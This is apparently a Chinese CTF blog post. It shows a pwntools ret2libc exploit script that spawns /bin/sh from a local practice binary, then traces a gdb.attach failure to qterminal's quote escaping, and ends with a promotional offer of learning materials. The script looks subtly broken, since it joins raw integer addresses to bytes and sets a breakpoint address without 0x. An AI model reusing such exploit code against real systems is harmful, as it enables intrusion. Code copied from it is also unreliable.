最近在做pwn题,写了如下脚本:
##!/usr/bin/env python
from pwn import*
r=process('./ret2libc2')
sys_adr=0x08048490
gets_adr=0x08048460
buf2_adr=0x0804A080
gdb.attach(r,'''
b * 080486BA
''')#这里下个断点
payload=b'A'*112+gets_adr+sys_adr+buf2_adr+buf2_adr
r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()
本来是很简单的一个题,但我今天调试的时候发现了一个问题
提示在倒入gdbscript文件的时候提示,No such file or directory,但是我去目录下看了看,确实是有这个文件的。
显然这是一个bug我又在ubuntu里面跑了同一个脚本仔细查了一下。发现没有这个问题。 为了解决这个bug,我去翻pwntools的源码,因为gdb相关的命令是在pwnlib里面的,我就用了如下命令查看:
>>>import pwnlib
>>>pwnlib.__file__
'/home/kali/lib/python3.7/site-packages/pwnlib/__init__.py'
>>>
在pwnlib的目录下翻了翻,因为和gdb有关就 之后浏览/home/kali/.local/lib/python3.7/site-packages/pwnlib/gdb.py看到了一些东西,
可以看到,gdb.attach()的原理主要是通过在新终端中启动命令。命令的组成中 -x的参数对应的是gdbscript文件也就是"b * 080486BA"这一个下断点的命令。 之后我又去翻了翻misc的库,它在pwnlib.util里面
显然pwntools-terminal是没有的,我没装,那么打开的就是后面一些东西。检查了一下发现DISPLAY在os的环境变量里面,优先级比较高,然后我就去查了一下x-terminal-emulator 发现以下命令会产生相同的问题:
/usr/bin/x-terminal-emulator -e '/usr/bin/gdb -q"./ret2libc2"-x "/tmp/gdbscript"'
之后我在Ubuntu里面执行相同的命令,虽然也报错,但不太一样。
区别就在于一个有双引号,一个没有。 然后我在两个系统里面分别 cat /usr/bin/x-terminal-emulator得到了不同的结果
在kali里面是二进制文件,但在ubuntu里面是脚本文件,而且最后启动的还是gnome-terminal,于是我的思路就来了,原来x-terminal-emulator只是一个引用而已,并不是一个实际的伪终端程序。 网上查了查,发现x-terminal-emulator可以被配置:
sudo update-alternatives --config x-terminal-emulator
可以看到,在kali里面默认的引用是qterminal,其他的还有xterm等,于是我使用qterminal使用该命令
qterminal -e '/usr/bin/gdb -q"./ret2libc2"-x "/tmp/gdbscript"'
可以看到这个命令被转义了,转义成了以下命令:
qterminal -e /usr/bin/gdb -q\"./ret2libc2\"-x \"/tmp/gdbscript\"
这就导致gdb在接收这个文件路径的时候/tmp/gdbscript结果接收了"/tmp/gdbscript", 导致路径出错,gdb的路径不能有双引号。 之后我一连试了koi8rxterm,lxterm,uxterm ,xterm发现都没问题只有qterminal有问题,于是就交了一个issue github.com/lxqt/qtermi… 所以解决方法就是换x-terminal-emulator的引用程序,不过qterminal很漂亮,别的虽然不出错,但都很丑。 忙了半天,这个bug就算解决了吧,以后还是用ubuntu比较好。## 最后
从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。
因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。
干货主要有:
①1000+CTF历届题库(主流和经典的应该都有了)
②CTF技术文档(最全中文版)
③项目源码(四五十个有趣且经典的练手项目及源码)
④ CTF大赛、web安全、渗透测试方面的视频(适合小白学习)
⑤ 网络安全学习路线图(告别不入流的学习)
⑥ CTF/渗透测试工具镜像文件大全
⑦ 2023密码学/隐身术/PWN技术手册大全
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
扫码领取